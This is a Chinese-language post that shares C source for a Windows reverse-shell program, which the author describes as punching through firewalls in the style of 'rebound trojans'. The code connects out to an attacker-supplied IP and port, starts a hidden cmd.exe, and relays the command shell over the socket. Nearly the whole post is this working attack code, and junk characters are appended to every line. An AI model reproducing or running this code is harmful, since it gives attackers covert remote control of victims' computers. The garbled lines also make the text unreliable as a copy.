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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9GtVI^]  
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/* ============================== 5uD#=/oV  
Rebound port in Windows NT o $HJg  
By wind,2006/7 A&}nRP9  
===============================*/ (4{@oM#H6  
#include }VGI Y>v  
#include Jc"$p\ $-  
9 .&Or4>  
#pragma comment(lib,"wsock32.lib") qV,$bw  
_#^A:a^e8  
void OutputShell(); Z_^Kl76D  
SOCKET sClient; @]ptY*   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,Zcx3C:#  
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void main(int argc,char **argv) eRl?9  
{ Ng_rb KXC#  
WSADATA stWsaData; \}4#**]  
int nRet; 2=/g~rp*  
SOCKADDR_IN stSaiClient,stSaiServer; *09\\ G  
qK6  uU9z  
if(argc != 3) 32-3C6f@oZ  
{ bKt3x+x(  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'De'(I  
return; xeP;"J}  
} u>Axq3F  
QkCoW[sn  
WSAStartup(MAKEWORD(2,2),&stWsaData); *p#YK|  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7AtXG^lK  
iz  GaV[  
stSaiClient.sin_family = AF_INET; <rwOI.W l$  
stSaiClient.sin_port = htons(0); ;5oH6{7_Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dV2b)p4J  
EhP&L?EL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bn#HJ17/#  
{ ]N(zom_0d  
printf("Bind Socket Failed!\n"); Dpp52UnT E  
return; Ng;b!S  
} ;cm{4%=Iqe  
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stSaiServer.sin_family = AF_INET; [vjkU7;7A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >gi{x|/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sei!9+bZr  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /?dQUu ^z  
{ RY/ Z~]  
printf("Connect Error!"); 73sAZa|  
return; @qhg[= @  
} y1"^S  
OutputShell(); MTITIecw=  
} IwgA A)H  
milK3+N  
void OutputShell() Ko]h r  
{ tv=FFfQ  
char szBuff[1024]; E?q'|f  
SECURITY_ATTRIBUTES stSecurityAttributes; f s"V'E2a  
OSVERSIONINFO stOsversionInfo; p_40V%y^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;k41+O:f@  
STARTUPINFO stStartupInfo; _]r)6RT  
char *szShell; %"KWjwp  
PROCESS_INFORMATION stProcessInformation; l-h7ksRs  
unsigned long lBytesRead; "RJk7]p`*  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @ H`QLm  
'a{5}8+8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wPO@f~[Ji  
stSecurityAttributes.lpSecurityDescriptor = 0; ohtn^o;C}  
stSecurityAttributes.bInheritHandle = TRUE; Zn 5m.=z  
kFa?q} 47  
VX>t!JP p  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z%n.:I<%ZV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D>x'3WYR  
LYq2A,wm$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mlw BATi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $XU$?_O  
stStartupInfo.wShowWindow = SW_HIDE; xo_k"'f+  
stStartupInfo.hStdInput = hReadPipe; +U/"F|M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0?L$)T-B  
p*&LEjaVM4  
GetVersionEx(&stOsversionInfo); Sl<-)a:  
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switch(stOsversionInfo.dwPlatformId) NizJq*V>  
{ leYmV FE  
case 1: , G/X"t ~  
szShell = "command.com"; 'nDT.i  
break; I/-w65J]  
default: CY).I`aJ  
szShell = "cmd.exe"; r`g;k&"a  
break; z4fK{S  
} ]:#$6D"  
ds[Z=_Ll  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kuud0VWJ  
adE0oXQH"  
send(sClient,szMsg,77,0); Ay6rUN1ef  
while(1) ?# c@Ag %  
{ `V_/Cz_}D  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :3*oAh8|  
if(lBytesRead) %mv x}xV  
{ NGQIoKC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]{U*+K%,J  
send(sClient,szBuff,lBytesRead,0); 6)<oO(  
} -Izg&u &  
else jW$f(qAbm  
{ hgr ,v"  
lBytesRead=recv(sClient,szBuff,1024,0); qhf/B)  
if(lBytesRead<=0) break; <0qY8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]G&\L~P  
} K:50?r_-6  
} %t|2GIu  
zw9ULQ$#  
return; ;S27m]Q?  
}
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